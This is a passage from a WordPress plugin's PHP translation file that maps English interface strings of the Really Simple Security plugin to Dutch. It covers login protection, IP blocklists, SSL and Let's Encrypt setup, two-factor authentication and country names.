wachtwoord alsjeblieft.','Hi, Really Simple Security has kept your site secure for a month now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %1$smessage%2$s.'=>'Hallo, Really Simple Security heeft je site al een tijdje veilig gehouden, geweldig! Wanneer je even tijd hebt, overweeg dan om een beoordeling achter te laten op WordPress.org om je ervaring te delen. We waarderen het enorm! Wanneer je vragen of feedback hebt, laat dan een %1$sbericht%2$s achter.','Hi, Really Simple Security has kept your site secure for some time now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %1$smessage%2$s.'=>'Hallo, Really Simple Security houdt je site al een tijdje veilig, geweldig! Wanneer je een moment hebt, laat dan alsjeblieft een beoordeling achter op WordPress.org om je ervaring te delen. We zouden het enorm waarderen! Wanneer je vragen of feedback hebt, laat dan een %1$sbericht%2$s achter.','Hide the remember me checkbox'=>'Verberg de onthoud mij checkbox ','Hide your WordPress version'=>'Verberg je WordPress versie','High-risk'=>'Hoog risico','High-risk (default)'=>'Hoog risico (standaard)','Holy See (Vatican City State)'=>'Heilige Stoel (Vaticaanstad)','Honduras'=>'Honduras','Hong Kong'=>'Hong Kong','Hosting'=>'Hosting','Hosting provider'=>'Hosting provider','Hungary'=>'Hongarije','I agree to the Terms & Conditions from Let\'s Encrypt.'=>'Ik ga akkoord met de Voorwaarden van Let\'s Encrypt.','I don\'t know, or not listed, proceed with installation'=>'Anders of onbekend, doorgaan met de installatie','I have read and understood the risks to intervene with these measures.'=>'Ik heb de risico\'s van deze maatregelen gelezen en begrepen.','IP Address'=>'IP-adres','IP Addresses'=>'IP-adressen','IP Addresses can be allowed, blocked or will show up when your settings add them to a temporary blocklist. If you want to add your IP to the allowlist, please read the article provided at the right-hand side for instructions.'=>'IP-adressen kunnen worden toegestaan, geblokkeerd of worden weergegeven wanneer je instellingen ze toevoegen aan een tijdelijke blocklist. Als je je IP-adres wilt toevoegen aan de allow list, lees dan het artikel aan de rechterkant voor instructies.','IP Blocklist'=>'IP Blocklist','IP added to blocklist'=>'IP toegevoegd aan blocklist','IP added to trusted list'=>'IP toegevoegd aan vertrouwde lijst','IP address %s added to permanent blocklist'=>'IP-adres %s toegevoegd aan permanente blocklist','IP address %s added to temporary blocklist'=>'IP-adres %s toegevoegd aan tijdelijke blocklist','IP address %s added to trusted IP list'=>'IP-adres %s toegevoegd aan vertrouwde IP-lijst','IP address %s is now %s.'=>'IP-adres %s is nu %s.','IP address %s removed from permanent blocklist'=>'IP-adres %s verwijderd van permanente blocklist','IP address %s removed from temporary blocklist'=>'IP-adres %s verwijderd uit tijdelijke blocklist','IP address %s removed from trusted IP list'=>'IP-adres %s verwijderd uit vertrouwde IP-lijst','IP address already exists in the trusted IP list.'=>'IP-adres bestaat al in de vertrouwde IP-lijst.','IP address locked-out'=>'IP-adres geblokkeerd','IP address overview'=>'IP-adressen overzicht','IP removed from blocklist'=>'IP verwijderd uit de blocklist','IP removed from list.'=>'IP van de lijst verwijderd.','IP removed from trusted list'=>'IP verwijderd van vertrouwde IP-lijst','Iceland'=>'IJsland','If the number of failed login attempts is exceeded within this timeframe, the IP address and user will be blocked.'=>'Als het aantal mislukte aanmeldpogingen binnen dit tijdsbestek wordt overschreden, worden het IP-adres en de gebruiker geblokkeerd.','If the username \'admin\' currently exists, you can rename it here. Please note that you can no longer use this username, and should use the new username or an email address'=>'Als de gebruikersnaam ‘admin’ momenteel bestaat, kun je deze hier hernoemen. Deze gebruiker kan niet meer met de oude gebruikersnaam inloggen, maar enkel met het e-mail adres of de nieuwe gebruikersnaam','If there\'s a vulnerability, you will also get feedback on the themes and plugin overview.'=>'Als er een kwetsbaarheid is, krijg je ook feedback op het thema en plugin overzicht.','If this is not the case, don\'t add this alias to your certificate.'=>'Indien dit niet het geval is, voeg deze alias dan niet toe aan je certificaat.','If this option is set to true, the mixed content fixer will fire on the init hook instead of the template_redirect hook. Only use this option when you experience problems with the mixed content fixer.'=>'Indien je deze optie inschakelt, zal de mixed content fixer op de init hook uitgevoerd worden in plaats van op de template_redirect hook. Gebruik deze optie alleen als je problemen hebt met de mixed content fixer.','If unexpected file changes have occurred, this could be an indication that your site is compromised.'=>'Waneer er onverwachte bestandswijzigingen worden gedetecteerd kan dit een teken zijn dat je site is gecompromitteerd.','If you are the owner of this account, please check your email for instructions on regaining access.'=>'Als je de eigenaar van dit account bent, controleer dan je e-mail voor instructies om weer toegang te krijgen.','If you entered your DNS records before, they need to be changed.'=>'Als je eerder je DNS records hebt ingevoerd, moeten ze veranderd worden.','If you recognize the detected changes, you can add the files to the exclude list, or ignore them just once.'=>'Als je de gedetecteerde wijzigingen herkent kun je de bestanden uitsluiten of ze eenmalig negeren.','If your hosting provider auto-renews your certificate, no action is required. Alternatively, you have the option to generate an SSL certificate with Really Simple Security.'=>'Als je hosting provider je certificaat automatisch vernieuwt hoef je niets te doen. Als alternatief heb je de mogelijkheid om een SSL certificaat te genereren met Really Simple Security.','If your site is only intended for users to login from specific geographical regions, you can entirely prevent logins from certain continents or countries.'=>'Als je site alleen bedoeld is voor gebruikers die inloggen vanuit bepaalde geografische regio\'s, dan kun je inloggen vanuit bepaalde continenten of landen helemaal voorkomen.','Implement Two-Factor Authentication or Passkey login.'=>'Activeer Tweefactorauthenticatie of Passkey login.','Import and insert file'=>'Importeer bestand en voeg in','Improve security - Upgrade'=>'Versterk beveiliging - Upgrade','Improve security by requiring strong passwords and forced periodic password changes'=>'Versterk beveiliging door sterke wachtwoorden en gedwongen periodieke wijzigingen van wachtwoorden te eisen','Improve the default WordPress password strength check. You can also enforce frequent password changes for user roles.'=>'Verbeter de standaard WordPress controle op wachtwoordsterkte. Je kunt ook regelmatige wachtwoordwijzigingen afdwingen voor gebruikersrollen.','Include alias'=>'Inclusief alias','Include preload'=>'Preload toevoegen','Include subdomains'=>'Inclusief subdomeinen','India'=>'India','Indonesia'=>'Indonesië','Insecure file permissions'=>'Onveilige bestandsrechten','Insecure file permissions detected.'=>'Onveilige bestandsrechten gedetecteerd.','Install'=>'Installeer','Install %sManually%s.'=>'%sHandmatig%s installeren.','Install Authentication app:'=>'Authenticatie-app installeren:','Install SSL certificate'=>'Installeer SSL certificaat','Installation'=>'Installatie','Installation failed.'=>'Installatie mislukt.','Installation finished'=>'Installatie voltooid','Installed'=>'Geïnstalleerd','Installing'=>'Installeren','Installing SSL certificate using PLESK API...'=>'SSL certificaat installeren via de PLESK API...','Installing SSL certificate...'=>'SSL certificaat installeren...','Installing plugin...'=>'Plugin installeren...','Instantly configure these essential features.'=>'Configureer meteen deze essentiële functies.','Instructions'=>'Instructies','Interval'=>'Interval','Invalid Two Factor Authentication code.'=>'Ongeldige Tweefactor code.','Invalid Two Factor Authentication secret key.'=>'Ongeldige Tweefactor secret key.','Invalid data provided.'=>'Ongeldige gegevens verstrekt.','Invalid license.'=>'Ongeldige licentie.','Invalid list type.'=>'Ongeldig lijsttype.','Invalid login details.'=>'Ongeldige inloggegevens.','Invalid nonce.'=>'Ongeldige nonce.','Invalid provider'=>'Ongeldige provider','Invalid region code.'=>'Ongeldige regiocode.','Invalid two-factor authentication provider.'=>'Ongeldige Tweefactor authenticatie provider.','Invalid verification code.'=>'Ongeldige verificatiecode.','Iran, Islamic Republic of'=>'Iran, Islamitische Republiek','Iraq'=>'Irak','Ireland'=>'Ierland','Isle of Man'=>'Isle of Man','Israel'=>'Israel','It is not possible to install Let\'s Encrypt on a localhost environment.'=>'Het is niet mogelijk om Let\'s Encrypt te installeren op een localhost omgeving.','It is not possible to install Let\'s Encrypt on a subfolder configuration.'=>'Het is niet mogelijk om Let\'s Encrypt te installeren op een subfolder domein.','It is not possible to install Let\'s Encrypt on a subsite. Please go to the main site of your website.'=>'Het is niet mogelijk om Let\'s Encrypt te installeren op een subsite. Navigeer alsjeblieft naar de hoofdsite van je installatie','Italy'=>'Italië','Jamaica'=>'Jamaica','Japan'=>'Japan','Jersey'=>'Jersey','Jordan'=>'Jordanië','Kazakhstan'=>'Kazachstan','Keep your site secure by monitoring unexpected file changes.'=>'Houd je site veilig door onverwachte bestandswijzigingen in de gaten te houden.','Kenya'=>'Kenia','Key copied'=>'Sleutel gekopieerd','Kiribati'=>'Kiribati','Korea, Democratic People\'s Republic of'=>'Korea, Democratische Volksrepubliek','Korea, Republic of'=>'Korea, Republiek van','Kosovo'=>'Kosovo','Kuwait'=>'Koeweit','Kyrgyzstan'=>'Kirgizië','Lao People\'s Democratic Republic'=>'Democratische Volksrepubliek Laos','Latvia'=>'Letland','Lax - 10 errors in 2 seconds'=>'Lax - 10 errors in 2 seconden','Learn more'=>'Leer meer','Learn more about our features!'=>'Leer meer over onze functionaliteiten!','Learn more about security headers'=>'Lees meer over security headers','Learning Mode is active for your Content Security Policy and will complete in %s days.'=>'Zelflerende modus is ingeschakeld voor je Content Security Policy en zal voltooid zijn in %s dagen. ','Leave a review'=>'Schrijf een beoordeling','Lebanon'=>'Libanon','Lesotho'=>'Lesotho','Let\'s Encrypt'=>'Let\'s Encrypt','Let\'s Encrypt.'=>'Let\'s Encrypt.','Letʼs Encrypt is a free, automated and open certificate authority brought to you by the nonprofit Internet Security Research Group (ISRG).'=>'Let\'s Encrypt is een gratis, geautomatiseerd en open certificaat autoriteit door de nonprofit Internet Security Research Group (ISRG).','Leveraging your SSL certificate with HSTS is a staple for every website. Force your website over SSL, mitigating risks of malicious counterfeit websites in your name.'=>'SSL forceren met HSTS is een must voor iedere site. Forceer je site over SSL, en verminder het risico op malafide namaaksites in jouw naam.','Liberia'=>'Liberia','Libyan Arab Jamahiriya'=>'Libisch-Arabisch Jamahiriya','License'=>'Licentie','License invalid'=>'Licentie ongeldig','License valid'=>'Licentie geldig','Liechtenstein'=>'Liechtenstein','Limit Attempts'=>'Pogingen beperken','Limit Login Attempts'=>'Beperk loginpogingen','Limit Login Attempts enabled.'=>'Beperk loginpogingen ingeschakeld.','Limit Login Attempts protects your site from login attempts by unauthorized users. When you enable Limit Login Attempts, all login attempts are logged and repeated attempts to login with invalid credentials will be blocked automatically.'=>'Beperk loginpogingen beschermt je site tegen login pogingen door ongeautoriseerde gebruikers. Wanneer je Beperk loginpogingen inschakelt, worden alle login pogingen geregistreerd en herhaalde pogingen om in te loggen met ongeldige referenties worden automatisch geblokkeerd.','Limit logged in session duration'=>'Beperk de ingelogde sessieduur','Lithuania'=>'Litouwen','Location'=>'Locatie','Locked-out'=>'Uitgesloten','Lockout duration'=>'Duur vergrendeling','Log In'=>'Inloggen','Login Protection'=>'Loginbeveiliging','Login URL already changed by something else than Really Simple Security'=>'Login URL al veranderd door iets anders dan Really Simple Security','Login URL request'=>'Login URL request','Login attempts'=>'Login pogingen','Login blocked by Geo-IP list'=>'Inloggen geblokkeerd door Geo-IP lijst','Login blocked by IP address'=>'Inloggen geblokkeerd door IP-adres','Login blocked by username'=>'Inloggen geblokkeerd door gebruikersnaam','Login by %s failed (incorrect credentials)'=>'Inloggen door %s mislukt (onjuiste gegevens)','Login by %s was successful'=>'Inloggen door %s is gelukt','Login credentials incorrect'=>'Login gegevens incorrect','Login credentials incorrect. Please check your login credentials for cPanel.'=>'Logingegevens onjuist. Controleer je logingegevens voor cPanel.','Login failed'=>'Inloggen mislukt','Login failed (Country %s blocked by geo-IP blocklist )'=>'Inloggen mislukt (Land %s geblokkeerd door GeoIP blocklist)','Login failed (IP %s found in permanent blocklist)'=>'Inloggen mislukt (IP %s gevonden in permanente blocklist)','Login failed (IP %s found in temporary blocklist)'=>'Inloggen mislukt (IP %s gevonden in tijdelijke blocklist)','Login failed (User %s found in permanent blocklist)'=>'Inloggen mislukt (Gebruiker %s gevonden in permanente blocklist)','Login failed (User %s found in temporary blocklist)'=>'Inloggen mislukt (Gebruiker %s gevonden in tijdelijke blocklist)','Login failed (incorrect MFA code)'=>'Inloggen mislukt (onjuiste MFA-code)','Login status'=>'Login status','Login successful'=>'Inloggen gelukt','Logs'=>'Logs','Looking up blocked resources in files, %s of %s'=>'Zoeken naar geblokkeerde bronnen in bestanden, %s van %s','Looking up blocked resources in postmeta'=>'Zoeken naar geblokkeerde bronnen in postmeta','Looking up blocked resources in posts'=>'Zoeken naar geblokkeerde bronnen in berichten','Looking up blocked resources in widgets'=>'Zoeken naar geblokkeerde bronnen in widgets','Low-risk'=>'Laag risico','Low-risk '=>'Laag risico ','Low-risk (default)'=>'Laag risico (standaard)','Luxembourg'=>'Luxemburg','MFA'=>'MFA','MFA setup required'=>'MFA instellen vereist','Macao'=>'Macao','Macedonia, the Former Yugoslav Republic of'=>'Macedonië, Voormalige Joegoslavische Republiek','Madagascar'=>'Madagascar','Maintain peace of mind with our simple, but effective automated measures when vulnerabilities are discovered. When needed Really Simple Security will force update or quarantaine vulnerable components, on your terms!'=>'Behoud je gemoedsrust met onze eenvoudige, maar effectieve geautomatiseerde maatregelen wanneer er kwetsbaarheden worden ontdekt. Indien nodig zal Really Simple Security kwetsbare componenten geforceerd updaten of in quarantaine plaatsen, op jouw voorwaarden!','Malawi'=>'Malawi','Malaysia'=>'Maleisië','Maldives'=>'Malediven','Mali'=>'Mali','Malta'=>'Malta','Manage your license here.'=>'Beheer hier je licentie.','Manual approval required'=>'Handmatige goedkeuring vereist','Many vulnerabilities are exploited by injecting a user with administrator capabilities outside of the native WordPress creation process. Under advanced hardening you can prevent this from happening.'=>'Veel kwetsbaarheden worden uitgebuit door een gebruiker met beheerdersrechten te injecteren buiten het oorspronkelijke WordPress aanmaakproces om. Met geavanceerde hardening kun je voorkomen dat dit gebeurt.','Marshall Islands'=>'Marshall Eilanden','Martinique'=>'Martinique','Mauritania'=>'Mauritanië','Mauritius'=>'Mauritius','MaxMind GeoIP database not installed'=>'MaxMind GeoIP database niet geïnstalleerd','Maybe later'=>'Misschien later','Mayotte'=>'Mayotte','Measures'=>'Maatregelen','Medium-risk'=>'Medium risico','Method'=>'Methode','Mexico'=>'Mexico','Micronesia, Federated States of'=>'Micronesië, Federale Staten van','Missing filter value.'=>'Ontbrekende filterwaarde.','Missing license.'=>'Missende licentie.','Missing or invalid country data.'=>'Ontbrekende of ongeldige landgegevens.','Missing or invalid region data.'=>'Ontbrekende of ongeldige regiogegevens.','Mixed Content Fixer'=>'Mixed content fixer','Mixed Content Scan'=>'Mixed Content Scan','Mixed content'=>'Mixed content','Mixed content fixer'=>'Mixed content fixer','Mixed content fixer - back-end'=>'Mixed content fixer - back-end','Mixed content fixer - init hook'=>'Mixed content fixer - init hook','Mixed content fixer not enabled. Enable the option to fix mixed content on your site.'=>'Mixed content fixer niet ingeschakeld. Activeer deze optie om mixed content op je site te repareren.','Mixed content found in a widget. Press the edit link to edit the widget manually.'=>'Mixed content gevonden in een widget. Klik op \'aanpassen\' om de widget handmatig aan te passen.','Mixed content found in in a post. Can be fixed automatically by pressing the fix button. Pressing the edit button allows you to update the link in the post manually.'=>'Mixed content gevonden in een bericht. Kan handmatig worden gerepareerd door op de \'repareer\' knop te klikken. Via de \'aanpassen\' knop kun je de link in het bericht handmatig aanpassen.','Mixed content from a postmeta table in your database. Usually won\'t cause any mixed content on the front-end. Check the post if it causes mixed content. If so, the link can be replace directly in the database.'=>'Mixed content door een postmeta tabel in je database. Meestal zal dit geen mixed content melding veroorzaken aan de front-end van de site. Check of er een melding is, indien dit wel het geval is kan de link direct in de database worden vervangen.','Mixed content in %s'=>'Mixed content in %s','Mixed content in CSS/JS file from other domain'=>'Mixed content in CSS/JS bestand van een ander domein','Mixed content in PHP file in %s'=>'Mixed content in PHP bestand in %s','Mixed content in post: %s'=>'Mixed content in bericht: %s','Mixed content in the postmeta table'=>'Mixed content in de postmeta tabel','Mixed content resources: %s'=>'Mixed content bronnen: %s','Mixed content scan'=>'Mixed content scan','Moldova, Republic of'=>'Moldavië, Republiek','Monaco'=>'Monaco','Mongolia'=>'Mongolië','Montenegro'=>'Montenegro','Montserrat'=>'Montserrat','More info'=>'Meer informatie','Morocco'=>'Marokko','Mozambique'=>'Mozambique','Multiple %s vulnerabilities have been found.'=>'Er zijn meerdere %s kwetsbaarheden gevonden.','Multisite detected. Please upgrade to %smultisite%s.'=>'Multisite gedetecteerd. Upgrade naar de %smultisite%s plugin.','Myanmar'=>'Myanmar','Namibia'=>'Namibië','Nauru'=>'Nauru','Nepal'=>'Nepal','Netherlands'=>'Nederland','Netherlands Antilles'=>'Nederlandse Antillen','Never'=>'Nooit','New Caledonia'=>'Nieuw Caledonië','New Zealand'=>'Nieuw Zeeland','Nicaragua'=>'Nicaragua','Niger'=>'Niger','Nigeria'=>'Nigeria','Niue'=>'Niue','No %1s were added to %2s'=>'Er zijn geen %1s toegevoegd aan %2s','No 301 redirect is set. Enable the WordPress 301 redirect in the settings to get a 301 permanent redirect.'=>'Geen 301 redirect ingesteld; schakel de WordPress 301 redirect in op de instellingenpagina om een permanente 301 redirect te verkrijgen.','No 301 redirect to SSL enabled.'=>'Geen 301 redirect naar SSL ingeschakeld.','No SSL certificate has been detected.'=>'Er is geen SSL certificaat gedetecteerd.','No SSL detected'=>'Geen SSL gedetecteerd','No SSL detected. Use the retry button to check again.'=>'Geen SSL gedetecteerd. Klik opnieuw proberen om nogmaals te controleren.','No changed files found'=>'Geen bestandswijzigingen gevonden','No files with wrong permissions found'=>'Geen bestanden met verkeerde rechten gevonden','No known vulnerabilities detected'=>'Geen bekende kwetsbaarheden gedetecteerd','No recommended redirect rules detected.'=>'Geen aanbevolen redirect regels gedetecteerd.','No redirect'=>'Geen redirect','No redirect to http detected.'=>'Geen redirect naar http gedetecteerd.','No subdomain setup detected.'=>'Geen subdomein configuratie gedetecteerd.','No valid list of domains.'=>'Geen geldige lijst van domeinen.','None'=>'Geen','Norfolk Island'=>'Norfolk Eiland','Normal - 10 errors in 5 seconds'=>'Normaal - 10 errors in 5 seconden','North America'=>'Noord-Amerika','Northern Mariana Islands'=>'Noordelijke Marianen','Norway'=>'Noorwegen','Not all essential security headers are installed'=>'Niet alle essentiële security headers zijn geïnstalleerd','Not recognized server.'=>'Server niet herkend.','Not required'=>'Niet vereist','Not sure if you\'re using XML-RPC, or want to restrict unauthorized use of XML-RPC? With learning mode you can see exactly which sources use XML-RPC, and you can revoke where necessary.'=>'Weet je niet zeker of je XML-RPC gebruikt, of wil je ongeautoriseerd gebruik van XML-RPC beperken? Met de leermodus kun je precies zien welke bronnen XML-RPC gebruiken en kun je dit indien nodig herroepen.','Note'=>'Notitie','Notification by %s'=>'Melding door %s','Notification by Really Simple Security'=>'Meldingen door Really Simple Security','Notifications'=>'Meldingen','Notifications by email'=>'E-mail notificaties','OCSP not supported, the certificate will be generated without OCSP.'=>'OCSP niet ondersteund, het certificaat zal worden gegenereerd zonder OCSP.','OCSP stapling is configured as enabled by default. You can disable this option if this is not supported by your hosting provider.'=>'OCSP stapling moet standaard zijn ingeschakeld. Je kan dit uitschakelen als dit niet wordt ondersteund door je hosting provider.','Oceania'=>'Oceanië','Off'=>'Uit','Oman'=>'Oman','On Apache you can use a .htaccess redirect, which is usually faster, but may cause issues on some configurations. Read the instructions in the sidebar first.'=>'Bij Apache servers kun je een .htaccess redirect gebruiken, wat meestal sneller is, maar op sommige configuraties problemen kan veroorzaken. Lees eerst de instructies in de zijbalk.','One click SSL optimization'=>'SSL optimalisatie in één klik','One day (for testing only)'=>'Eén dag (alleen voor testdoeleinden)','One of the most powerful features, and therefore the most complex are the Cross-Origin headers that can isolate your website so any data leaks are minimized.'=>'Eén van de meest krachtige features en tegelijk de meeste complexe zijn Cross-Origin headers, welke uw site kunnen isoleren om de kans op datalekken te verkleinen.','One year'=>'Eén jaar','Only enable this if you experience mixed content in the admin environment of your WordPress website.'=>'Schakel dit alleen in als je mixed content ervaart in de beheeromgeving van je WordPress site.','Open'=>'Open','Order ID mismatch, regenerate order.'=>'Volgorde ID komen niet overeen, regenereer volgorde.','Order successfully created.'=>'Order succesvol aangemaakt.','Order successfully retrieved.'=>'Order succesvol opgehaald.','Package information retrieved'=>'Pakketinformatie opgehaald','Pakistan'=>'Pakistan','Palau'=>'Palau','Palestinian Territory, Occupied'=>'Palestijns Gebied, bezet','Panama'=>'Panama','Papua New Guinea'=>'Papua Nieuw Guinea','Paraguay'=>'Paraguay','Password Expires On'=>'Wachtwoord verloopt op','Password Reset'=>'Wachtwoord resetten','Password Security'=>'Wachtwoordbeveiliging','Password security'=>'Wachtwoordbeveiliging','Passwords'=>'Wachtwoorden','Performant Firewall enabled.'=>'Firewall ingeschakeld.','Permanent'=>'Permanent','Permanent block'=>'Blokkeer permanent','Permission denied.'=>'Toestemming geweigerd.','Permissions Policy'=>'Permissions Policy','Peru'=>'Peru','Philippines'=>'Filippijnen','Pitcairn'=>'Pitcairn','Please %sconsider upgrading to Pro%s to enjoy all simple and performant security features.'=>'%sOverweeg om te upgraden naar Pro%s om alle eenvoudige en krachtige beveiligingsfuncties te gebruiken.','Please activate it manually on your hosting dashboard.'=>'Activeer alsjeblieft handmatig via je hosting dashboard','Please activate it on your dashboard %smanually%s'=>'Activeer het alstublieft %shandmatig%s via je dashboard','Please activate your license key.'=>'Activeer alsjeblieft je licentie code.','Please add the following lines to your .htaccess, or set it to writable:'=>'Voeg de volgende regels toe aan je .htaccess, verander het naar schrijfbaar:','Please adjust the CAA records via your DNS provider to allow Let’s Encrypt SSL certificates'=>'Pas de CAA records aan via je DNS provider om Let\'s Encrypt SSL certificaten toe te staan','Please change your email address %shere%s and try again.'=>'Pas alsjeblieft %shier%s je e-mail adres aan en probeer het opnieuw.','Please check if the advanced-headers.php file is included in the wp-config.php, and exists in the wp-content folder.'=>'Controleer of het advanced-headers.php bestand is opgenomen in wp-config.php en bestaat in de map wp-content.','Please check if the non www version of your site also points to this website.'=>'Controleer of de niet-www versie van je site ook naar deze site verwijst.','Please check if the www version of your site also points to this website.'=>'Controleer of de www versie van je site ook naar deze website verwijst.','Please check if your REST API is loading correctly. Your site currently is using the slower Ajax fallback method to load the settings.'=>'Controleer of de REST API correct wordt geladen. Je site gebruikt momenteel de tragere Ajax fallback methode om de instellingen te laden.','Please check the vulnerabilities overview for more information and take appropriate action.'=>'Bekijk het overzicht van kwetsbaarheden voor meer informatie en neem de juiste maatregelen.','Please complete %smanually%s'=>'Voltooi alsjeblieft %shandmatig%s','Please complete manually in your hosting dashboard.'=>'Voltooi alsjeblieft handmatig via je hosting dashboard.','Please complete the following step(s) first: %s'=>'Voltooi eerst de volgende stap(pen): %s','Please configure your %sCaptcha settings%s before enabling this setting'=>'Configureer je %sCaptcha instellingen%s voordat je deze instelling inschakelt','Please create a folder \'rsssl\' in the uploads directory, with 644 permissions.'=>'Maak in de uploads map een map genaamd \'rsssl\', met 644 permissies aan.','Please double check your DNS txt record.'=>'Dubbelcheck je DNS TXT record.','Please double-check if your website is working as expected.'=>'Controleer nogmaals of je website werkt zoals verwacht.','Please enter the code generated by your authenticator app.'=>'Voer de code in uit je authenticator app.','Please enter your license key. Available in your %saccount%s.'=>'Voer je licentie code in, te vinden in je %saccount%s.','Please make sure to configure a method, access to your account will be denied if no method is configured today.'=>'Configureer direct een methode, de toegang tot je account wordt geweigerd als er vandaag geen methode is geconfigureerd.','Please make sure to configure a method, access to your account will be denied if no method is configured within the next %s days.'=>'Configureer direct een methode, de toegang tot je account wordt geweigerd als er over %s dagen geen methode is geconfigureerd.','Please note that any changes you have made since to your current files, will be lost.'=>'Houd er rekening mee dat alle wijzigingen die je sindsdien in de huidige bestanden hebt aangebracht verloren zullen gaan. ','Please refresh the SSL status if a certificate has been installed recently.'=>'Ververs de SSL status als er onlangs een certificaat is geïnstalleerd.','Please scan the QR code or manually enter the key, then enter an authentication code from your app in order to complete setup.'=>'Scan de QR-code of voer de sleutel handmatig in en voer vervolgens de verificatiecode in vanuit je authenticator app om de installatie te voltooien.','Please set the wp-config.php to writable until the rule has been written.'=>'Verander de wp-config.php naar schrijfbaar tot de regel is geschreven.','Please set the wp-content folder to writable:'=>'Verander de wp-content map naar schrijfbaar:','Please start at the previous step.'=>'Begin alsjeblieft bij de vorige stap.','Please take appropriate action.'=>'Onderneem de vereiste maatregelen.','Please verify that you are human'=>'Bewijs dat je een mens bent','Please verify your email'=>'Controleer je e-mail','Please wait %s before trying again, as this is the expiration of the DNS record currently.'=>'Wacht %s voordat je het opnieuw probeert, aangezien dit de expiratie van het DNS-record is.','Plesk admin URL'=>'Plesk beheer URL','Plesk host'=>'Plesk host','Plesk password'=>'Plesk wachtwoord','Plesk recognized. Possibly the certificate can be installed automatically.'=>'Plesk gedetecteerd. Mogelijk kan het certificaat automatisch worden geïnstalleerd.','Plesk username'=>'Plesk gebruikersnaam','Plesk username and password'=>'Plesk gebruikersnaam en wachtwoord','Plugin activated'=>'Plugin geactiveerd','Plugin installed'=>'Plugin geïnstalleerd','Poland'=>'Polen','Portugal'=>'Portugal','Potential redirect loop.'=>'Potentiële redirect loop.','Preferred Method'=>'Voorkeursmethode','Premium'=>'Premium','Premium Support'=>'Premium ondersteuning','Prevent clickjacking and other malicious attacks by restricting sources that are permitted to embed content from your website.'=>'Voorkom clickjacking en andere aanvallen door het beperken van sources die content van je website mogen embedden.','Prevent code execution in the public \'Uploads\' folder'=>'Voorkom het uitvoeren van code in de publieke \'Uploads\' map','Prevent login feedback'=>'Voorkom login feedback','Prevent session hijacking'=>'Voorkom session hijacking','Prevent usage of passwords that have been included in a databreach. This securely verifies part of the hashed password via the Have I Been Pwned API.'=>'Voorkom het gebruik van wachtwoorden die ooit betrokken zijn in een beveiligingslek. Deze functionaliteit verifieert veilig een deel van het gehashte wachtwoord via de Have I Been Pwned API.','Privacy-friendly analytics tool.'=>'Privacy-vriendelijke analyse tool.','Protect your login form with Limit Login Attempts.'=>'Bescherm je inlogformulier met Beperk loginpogingen.','Protect your site against brute force login attacks by limiting the number of login attempts. Enabling this feature will temporary lock-out a username and the IP address that tries to login, after the set number of false logins.'=>'Bescherm je site tegen brute force inlogaanvallen door het aantal inlogpogingen te beperken. Als je deze functie inschakelt, worden een gebruikersnaam en het IP-adres dat probeert in te loggen tijdelijk geblokkeerd na het ingestelde aantal foutieve pogingen.','Protect your site with a performant Firewall.'=>'Bescherm je site met een krachtige Firewall.','Protect your website against brute-force attacks with a captcha. Choose between Google reCAPTCHA or hCaptcha.'=>'Bescherm je website tegen brute-force aanvallen met een captcha. Kies tussen Google reCAPTCHA of hCaptcha.','Protecting your website visitors from malicious attacks and data breaches should be your #1 priority, start with the essentials with Really Simple Security'=>'Het beschermen van je website tegen aanvallen en beveiligingsinbreuken zou je #1 prioriteit moeten zijn. Start met de belangrijkste maatregelen met Really Simple Security','Provider LabelBackup Verification Codes (Single Use)'=>'Back-up verificatiecodes (eenmalig gebruik)','Provider LabelEmail'=>'E-mail','Provider LabelTime Based One-Time Password (TOTP)'=>'Tijdgebaseerd eenmalig wachtwoord (TOTP)','Puerto Rico'=>'Puerto Rico','Qatar'=>'Qatar','Quarantine'=>'Quarantaine','Quarantine Alert: %s'=>'Quarantaine waarschuwing: %s','Quarantine in %s hours'=>'Quarantaine in %s uur','Quarantined'=>'In quarantaine','REST API authentication failed'=>'REST API authenticatie mislukt','REST API authentication successful'=>'REST API authenticatie geslaagd','Re-check'=>'Opnieuw controleren','Read about our journey towards Really Simple Security'=>'Lees meer over onze weg naar Really Simple Security','Read more'=>'Lees meer','Read more about security concerns with debug display enabled'=>'Lees meer over de security bezwaren m.b.t. debug display inschakelen','Really Simple Plugins'=>'Really Simple Plugins','Really Simple Plugins is also the author of the below privacy-focused plugins, including consent management, legal documents and analytics!'=>'Really Simple Plugins is de ontwikkelaar van de onderstaande privacygerichte plugins, waaronder consent management, juridische documenten en statistieken!','Really Simple SSL is now %1$sReally Simple Security!%2$s'=>'Really Simple SSL is vanaf nu %1$sReally Simple Security!%2$s','Really Simple Security - Notification Test'=>'Really Simple Security - Testmelding','Really Simple Security - Verify your email address'=>'Really Simple Security - Verifieer je e-mailadres','Really Simple Security Pro'=>'Really Simple Security Pro','Really Simple Security allows you to limit the default logged in session duration. By default, WordPress will keep users logged in for 48 hours, or even 14 days when clicking the ‘remember me’ checkbox. An attacker could possibly steal the logged in cookie and gain access to a user’s account. Limiting the logged in duration to 8 hours will greatly reduce the risk of session hijacking.'=>'Met Really Simple Security kun je de standaard duur van een ingelogde sessie beperken. Standaard houdt WordPress gebruikers 48 uur ingelogd, of zelfs 14 dagen als ze de \'onthoud mij\' checkbox aanvinken. Een aanvaller kan mogelijk het login cookie stelen en toegang krijgen tot het account van een gebruiker. Door de inlogduur te beperken tot 8 uur verklein je het risico op session hijacking aanzienlijk.','Really Simple Security and Really Simple Security add-ons do not process any personal identifiable information, so the GDPR does not apply to these plugins or usage of these plugins on your website. You can find our privacy policy <a href="%s" rel="noopener noreferrer" target="_blank">here</a>.'=>'Really Simple Security en Really Simple Security add-ons verwerken geen persoonlijk identificeerbare informatie, dus de AVG is niet van toepassing op deze plugins of het gebruik van deze plugins op je website. Je kunt ons privacybeleid <a href="%s" rel="noopener noreferrer" target="_blank">hier</a> vinden.','Really Simple Security can trigger a Captcha to limit access to your site or the login form.'=>'Really Simple Security kan een Captcha tonen om de toegang tot je site of het inlogformulier voor bots te beperken.','Really Simple Security collects information about plugins, themes, and core vulnerabilities from our database powered by WPVulnerability. Anonymized data about these vulnerable components will be sent to Really Simple Security for statistical analysis to improve open-source contributions. For more information, please read our privacy statement.'=>'Really Simple Security verzamelt informatie over plugins, thema\'s en core kwetsbaarheden in onze database aangedreven door WPVulnerability. Geanonimiseerde gegevens over deze kwetsbare componenten worden naar Really Simple Security gestuurd voor statistische analyse om open-source bijdragen te verbeteren. Lees onze Privacyverklaring voor meer informatie.','Really Simple Security 